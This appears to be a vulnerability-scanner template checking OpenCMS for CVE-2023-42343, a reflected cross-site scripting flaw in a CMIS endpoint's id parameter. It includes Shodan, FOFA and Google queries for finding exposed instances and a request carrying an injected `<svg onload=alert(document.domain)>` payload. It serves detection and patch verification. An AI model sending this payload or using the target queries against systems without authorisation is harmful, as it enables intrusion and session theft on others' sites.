id: CVE-2023-42343

info:
  name: OpenCMS - Cross-Site Scripting
  author: DhiyaneshDK
  severity: medium
  description: |
    OpenCMS below 10.5.1 is vulnerable to Cross-Site Scripting vulnerability.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the id parameter in CMIS endpoints to steal user session cookies and execute attacks against OpenCMS users.
  remediation: Fixed in 10.5.1.
  reference:
    - https://labs.watchtowr.com/xxe-you-can-depend-on-me-opencms/
  classification:
    cve-id: CVE-2023-42343
    epss-score: 0.0059
    epss-percentile: 0.44887
  metadata:
    verified: true
    max-request: 1
    shodan-query:
      - "/opencms/"
      - http.title:"opencms"
      - cpe:"cpe:2.3:a:alkacon:opencms"
    product: opencms
    vendor: alkacon
    fofa-query: title="opencms"
    google-query: intitle:"opencms"
  tags: cve,cve2023,xss,opencms,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/opencms/cmisatom/cmis-online/type?id=1%27"><svg%20onload=alert(document.domain)>'
    headers:
      Content-Type: application/cmisquery+xml

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Apache Chemistry OpenCMIS'
          - '<svg onload=alert(document.domain)>'
        condition: and
# digest: 490a004630440220223f2dbbecf48f012f8bf820f43ee4937c8ee52d71c9e43b6d05f1fea38e37ea02201b355c308cf8b9c3a1455ccd8535ccf1b61d30b1ac276f9f5f3032a185204fc5:922c64590222798bb761d5b6d8e72950